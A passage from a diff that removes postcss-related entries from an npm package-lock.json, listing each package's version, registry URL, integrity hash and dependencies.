-      "integrity": "sha512-nm+o0eLdYqdnJ5abAJeXp4CEU1c1k+eB2yMCvhgzsds/e0umabFrN6HoTy/8Q4K5ilxERdl/JD1LO5ANoYBeMA==",
-      "requires": {
-        "postcss": "^7.0.17",
-        "postcss-values-parser": "^2.0.1"
-      }
-    },
-    "postcss-custom-selectors": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-5.1.2.tgz",
-      "integrity": "sha512-DSGDhqinCqXqlS4R7KGxL1OSycd1lydugJ1ky4iRXPHdBRiozyMHrdu0H3o7qNOCiZwySZTUI5MV0T8QhCLu+w==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-2.0.0.tgz",
-          "integrity": "sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg=="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ==",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-dir-pseudo-class": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-5.0.0.tgz",
-      "integrity": "sha512-3pm4oq8HYWMZePJY+5ANriPs3P07q+LW6FAdTlkFH2XqDdP4HeeJYMOzn0HYLhRSjBO3fhiqSwwU9xEULSrPgw==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-selector-parser": "^5.0.0-rc.3"
-      },
-      "dependencies": {
-        "cssesc": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-2.0.0.tgz",
-          "integrity": "sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg=="
-        },
-        "postcss-selector-parser": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-5.0.0.tgz",
-          "integrity": "sha512-w+zLE5Jhg6Liz8+rQOWEAwtwkyqpfnmsinXjXg6cY7YIONZZtgvE0v2O0uhQBs0peNomOJwWRKt6JBfTdTd3OQ==",
-          "requires": {
-            "cssesc": "^2.0.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-discard-comments": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.2.tgz",
-      "integrity": "sha512-RJutN259iuRf3IW7GZyLM5Sw4GLTOH8FmsXBnv8Ab/Tc2k4SR4qbV4DNbyyY4+Sjo362SyDmW2DQ7lBSChrpkg==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-duplicates": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.2.tgz",
-      "integrity": "sha512-ZNQfR1gPNAiXZhgENFfEglF93pciw0WxMkJeVmw8eF+JZBbMD7jp6C67GqJAXVZP2BWbOztKfbsdmMp/k8c6oQ==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-empty": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.1.tgz",
-      "integrity": "sha512-B9miTzbznhDjTfjvipfHoqbWKwd0Mj+/fL5s1QOz06wufguil+Xheo4XpOnc4NqKYBCNqqEzgPv2aPBIJLox0w==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-discard-overridden": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.1.tgz",
-      "integrity": "sha512-IYY2bEDD7g1XM1IDEsUT4//iEYCxAmP5oDSFMVU/JVvT7gh+l4fmjciLqGgwjdWpQIdb0Che2VX00QObS5+cTg==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-double-position-gradients": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-1.0.0.tgz",
-      "integrity": "sha512-G+nV8EnQq25fOI8CH/B6krEohGWnF5+3A6H/+JEpOncu5dCnkS1QQ6+ct3Jkaepw1NGVqqOZH6lqrm244mCftA==",
-      "requires": {
-        "postcss": "^7.0.5",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-env-function": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-2.0.2.tgz",
-      "integrity": "sha512-rwac4BuZlITeUbiBq60h/xbLzXY43qOsIErngWa4l7Mt+RaSkT7QBjXVGTcBHupykkblHMDrBFh30zchYPaOUw==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-flexbugs-fixes": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-4.1.0.tgz",
-      "integrity": "sha512-jr1LHxQvStNNAHlgco6PzY308zvLklh7SJVYuWUwyUQncofaAlD2l+P/gxKHOdqWKe7xJSkVLFF/2Tp+JqMSZA==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-focus-visible": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-4.0.0.tgz",
-      "integrity": "sha512-Z5CkWBw0+idJHSV6+Bgf2peDOFf/x4o+vX/pwcNYrWpXFrSfTkQ3JQ1ojrq9yS+upnAlNRHeg8uEwFTgorjI8g==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-focus-within": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-3.0.0.tgz",
-      "integrity": "sha512-W0APui8jQeBKbCGZudW37EeMCjDeVxKgiYfIIEo8Bdh5SpB9sxds/Iq8SEuzS0Q4YFOlG7EPFulbbxujpkrV2w==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-font-variant": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-4.0.0.tgz",
-      "integrity": "sha512-M8BFYKOvCrI2aITzDad7kWuXXTm0YhGdP9Q8HanmN4EF1Hmcgs1KK5rSHylt/lUJe8yLxiSwWAHdScoEiIxztg==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-gap-properties": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-2.0.0.tgz",
-      "integrity": "sha512-QZSqDaMgXCHuHTEzMsS2KfVDOq7ZFiknSpkrPJY6jmxbugUPTuSzs/vuE5I3zv0WAS+3vhrlqhijiprnuQfzmg==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-image-set-function": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-3.0.1.tgz",
-      "integrity": "sha512-oPTcFFip5LZy8Y/whto91L9xdRHCWEMs3e1MdJxhgt4jy2WYXfhkng59fH5qLXSCPN8k4n94p1Czrfe5IOkKUw==",
-      "requires": {
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-initial": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-3.0.2.tgz",
-      "integrity": "sha512-ugA2wKonC0xeNHgirR4D3VWHs2JcU08WAi1KFLVcnb7IN89phID6Qtg2RIctWbnvp1TM2BOmDtX8GGLCKdR8YA==",
-      "requires": {
-        "lodash.template": "^4.5.0",
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-lab-function": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-2.0.1.tgz",
-      "integrity": "sha512-whLy1IeZKY+3fYdqQFuDBf8Auw+qFuVnChWjmxm/UhHWqNHZx+B99EwxTvGYmUBqe3Fjxs4L1BoZTJmPu6usVg==",
-      "requires": {
-        "@csstools/convert-colors": "^1.4.0",
-        "postcss": "^7.0.2",
-        "postcss-values-parser": "^2.0.0"
-      }
-    },
-    "postcss-load-config": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-2.1.0.tgz",
-      "integrity": "sha512-4pV3JJVPLd5+RueiVVB+gFOAa7GWc25XQcMp86Zexzke69mKf6Nx9LRcQywdz7yZI9n1udOxmLuAwTBypypF8Q==",
-      "requires": {
-        "cosmiconfig": "^5.0.0",
-        "import-cwd": "^2.0.0"
-      }
-    },
-    "postcss-loader": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-3.0.0.tgz",
-      "integrity": "sha512-cLWoDEY5OwHcAjDnkyRQzAXfs2jrKjXpO/HQFcc5b5u/r7aa471wdmChmwfnv7x2u840iat/wi0lQ5nbRgSkUA==",
-      "requires": {
-        "loader-utils": "^1.1.0",
-        "postcss": "^7.0.0",
-        "postcss-load-config": "^2.0.0",
-        "schema-utils": "^1.0.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
-          "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        }
-      }
-    },
-    "postcss-logical": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-3.0.0.tgz",
-      "integrity": "sha512-1SUKdJc2vuMOmeItqGuNaC+N8MzBWFWEkAnRnLpFYj1tGGa7NqyVBujfRtgNa2gXR+6RkGUiB2O5Vmh7E2RmiA==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-media-minmax": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-4.0.0.tgz",
-      "integrity": "sha512-fo9moya6qyxsjbFAYl97qKO9gyre3qvbMnkOZeZwlsW6XYFsvs2DMGDlchVLfAd8LHPZDxivu/+qW2SMQeTHBw==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-merge-longhand": {
-      "version": "4.0.11",
-      "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.11.tgz",
-      "integrity": "sha512-alx/zmoeXvJjp7L4mxEMjh8lxVlDFX1gqWHzaaQewwMZiVhLo42TEClKaeHbRf6J7j82ZOdTJ808RtN0ZOZwvw==",
-      "requires": {
-        "css-color-names": "0.0.4",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "stylehacks": "^4.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-merge-rules": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.3.tgz",
-      "integrity": "sha512-U7e3r1SbvYzO0Jr3UT/zKBVgYYyhAz0aitvGIYOYK5CPmkNih+WDSsS5tvPrJ8YMQYlEMvsZIiqmn7HdFUaeEQ==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "caniuse-api": "^3.0.0",
-        "cssnano-util-same-parent": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0",
-        "vendors": "^1.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-minify-font-values": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.2.tgz",
-      "integrity": "sha512-j85oO6OnRU9zPf04+PZv1LYIYOprWm6IA6zkXkrJXyRveDEuQggG6tvoy8ir8ZwjLxLuGfNkCZEQG7zan+Hbtg==",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-minify-gradients": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.2.tgz",
-      "integrity": "sha512-qKPfwlONdcf/AndP1U8SJ/uzIJtowHlMaSioKzebAXSG4iJthlWC9iSWznQcX4f66gIWX44RSA841HTHj3wK+Q==",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "is-color-stop": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-minify-params": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.2.tgz",
-      "integrity": "sha512-G7eWyzEx0xL4/wiBBJxJOz48zAKV2WG3iZOqVhPet/9geefm/Px5uo1fzlHu+DOjT+m0Mmiz3jkQzVHe6wxAWg==",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "browserslist": "^4.0.0",
-        "cssnano-util-get-arguments": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0",
-        "uniqs": "^2.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-minify-selectors": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.2.tgz",
-      "integrity": "sha512-D5S1iViljXBj9kflQo4YutWnJmwm8VvIsU1GeXJGiG9j8CIg9zs4voPMdQDUmIxetUOh60VilsNzCiAFTOqu3g==",
-      "requires": {
-        "alphanum-sort": "^1.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-selector-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-selector-parser": {
-          "version": "3.1.2",
-          "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.2.tgz",
-          "integrity": "sha512-h7fJ/5uWuRVyOtkO45pnt1Ih40CEleeyCHzipqAZO2e5H20g25Y48uYnFUiShvY4rZWNJ/Bib/KVPmanaCtOhA==",
-          "requires": {
-            "dot-prop": "^5.2.0",
-            "indexes-of": "^1.0.1",
-            "uniq": "^1.0.1"
-          }
-        }
-      }
-    },
-    "postcss-modules-extract-imports": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz",
-      "integrity": "sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==",
-      "requires": {
-        "postcss": "^7.0.5"
-      }
-    },
-    "postcss-modules-local-by-default": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.2.tgz",
-      "integrity": "sha512-jM/V8eqM4oJ/22j0gx4jrp63GSvDH6v86OqyTHHUvk4/k1vceipZsaymiZ5PvocqZOl5SFHiFJqjs3la0wnfIQ==",
-      "requires": {
-        "icss-utils": "^4.1.1",
-        "postcss": "^7.0.16",
-        "postcss-selector-parser": "^6.0.2",
-        "postcss-value-parser": "^4.0.0"
-      }
-    },
-    "postcss-modules-scope": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz",
-      "integrity": "sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==",
-      "requires": {
-        "postcss": "^7.0.6",
-        "postcss-selector-parser": "^6.0.0"
-      }
-    },
-    "postcss-modules-values": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz",
-      "integrity": "sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==",
-      "requires": {
-        "icss-utils": "^4.0.0",
-        "postcss": "^7.0.6"
-      }
-    },
-    "postcss-nesting": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-7.0.1.tgz",
-      "integrity": "sha512-FrorPb0H3nuVq0Sff7W2rnc3SmIcruVC6YwpcS+k687VxyxO33iE1amna7wHuRVzM8vfiYofXSBHNAZ3QhLvYg==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-normalize": {
-      "version": "8.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-8.0.1.tgz",
-      "integrity": "sha512-rt9JMS/m9FHIRroDDBGSMsyW1c0fkvOJPy62ggxSHUldJO7B195TqFMqIf+lY5ezpDcYOV4j86aUp3/XbxzCCQ==",
-      "requires": {
-        "@csstools/normalize.css": "^10.1.0",
-        "browserslist": "^4.6.2",
-        "postcss": "^7.0.17",
-        "postcss-browser-comments": "^3.0.0",
-        "sanitize.css": "^10.0.0"
-      }
-    },
-    "postcss-normalize-charset": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.1.tgz",
-      "integrity": "sha512-gMXCrrlWh6G27U0hF3vNvR3w8I1s2wOBILvA87iNXaPvSNo5uZAMYsZG7XjCUf1eVxuPfyL4TJ7++SGZLc9A3g==",
-      "requires": {
-        "postcss": "^7.0.0"
-      }
-    },
-    "postcss-normalize-display-values": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-4.0.2.tgz",
-      "integrity": "sha512-3F2jcsaMW7+VtRMAqf/3m4cPFhPD3EFRgNs18u+k3lTJJlVe7d0YPO+bnwqo2xg8YiRpDXJI2u8A0wqJxMsQuQ==",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-positions": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.2.tgz",
-      "integrity": "sha512-Dlf3/9AxpxE+NF1fJxYDeggi5WwV35MXGFnnoccP/9qDtFrTArZ0D0R+iKcg5WsUd8nUYMIl8yXDCtcrT8JrdA==",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-repeat-style": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.2.tgz",
-      "integrity": "sha512-qvigdYYMpSuoFs3Is/f5nHdRLJN/ITA7huIoCyqqENJe9PvPmLhNLMu7QTjPdtnVf6OcYYO5SHonx4+fbJE1+Q==",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-string": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.2.tgz",
-      "integrity": "sha512-RrERod97Dnwqq49WNz8qo66ps0swYZDSb6rM57kN2J+aoyEAJfZ6bMx0sx/F9TIEX0xthPGCmeyiam/jXif0eA==",
-      "requires": {
-        "has": "^1.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-timing-functions": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.2.tgz",
-      "integrity": "sha512-acwJY95edP762e++00Ehq9L4sZCEcOPyaHwoaFOhIwWCDfik6YvqsYNxckee65JHLKzuNSSmAdxwD2Cud1Z54A==",
-      "requires": {
-        "cssnano-util-get-match": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-unicode": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.1.tgz",
-      "integrity": "sha512-od18Uq2wCYn+vZ/qCOeutvHjB5jm57ToxRaMeNuf0nWVHaP9Hua56QyMF6fs/4FSUnVIw0CBPsU0K4LnBPwYwg==",
-      "requires": {
-        "browserslist": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-url": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.1.tgz",
-      "integrity": "sha512-p5oVaF4+IHwu7VpMan/SSpmpYxcJMtkGppYf0VbdH5B6hN8YNmVyJLuY9FmLQTzY3fag5ESUUHDqM+heid0UVA==",
-      "requires": {
-        "is-absolute-url": "^2.0.0",
-        "normalize-url": "^3.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "normalize-url": {
-          "version": "3.3.0",
-          "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.3.0.tgz",
-          "integrity": "sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg=="
-        },
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-normalize-whitespace": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.2.tgz",
-      "integrity": "sha512-tO8QIgrsI3p95r8fyqKV+ufKlSHh9hMJqACqbv2XknufqEDhDvbguXGBBqxw9nsQoXWf0qOqppziKJKHMD4GtA==",
-      "requires": {
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-ordered-values": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.1.2.tgz",
-      "integrity": "sha512-2fCObh5UanxvSxeXrtLtlwVThBvHn6MQcu4ksNT2tsaV2Fg76R2CV98W7wNSlX+5/pFwEyaDwKLLoEV7uRybAw==",
-      "requires": {
-        "cssnano-util-get-arguments": "^4.0.0",
-        "postcss": "^7.0.0",
-        "postcss-value-parser": "^3.0.0"
-      },
-      "dependencies": {
-        "postcss-value-parser": {
-          "version": "3.3.1",
-          "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
-          "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
-        }
-      }
-    },
-    "postcss-overflow-shorthand": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-overflow-shorthand/-/postcss-overflow-shorthand-2.0.0.tgz",
-      "integrity": "sha512-aK0fHc9CBNx8jbzMYhshZcEv8LtYnBIRYQD5i7w/K/wS9c2+0NSR6B3OVMu5y0hBHYLcMGjfU+dmWYNKH0I85g==",
-      "requires": {
-        "postcss": "^7.0.2"
-      }
-    },
-    "postcss-page-break": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-page-break/-/postcss-page-break-2.0.0.tgz",
-      "integrity": "sha512-tkpTSrLpfLfD9HvgOlJuigLuk39wVTbbd8RKcy8/ugV2bNBUW3xU+AIqyxhDrQr1VUj1RmyJrBn1YWrqUm9zAQ==",
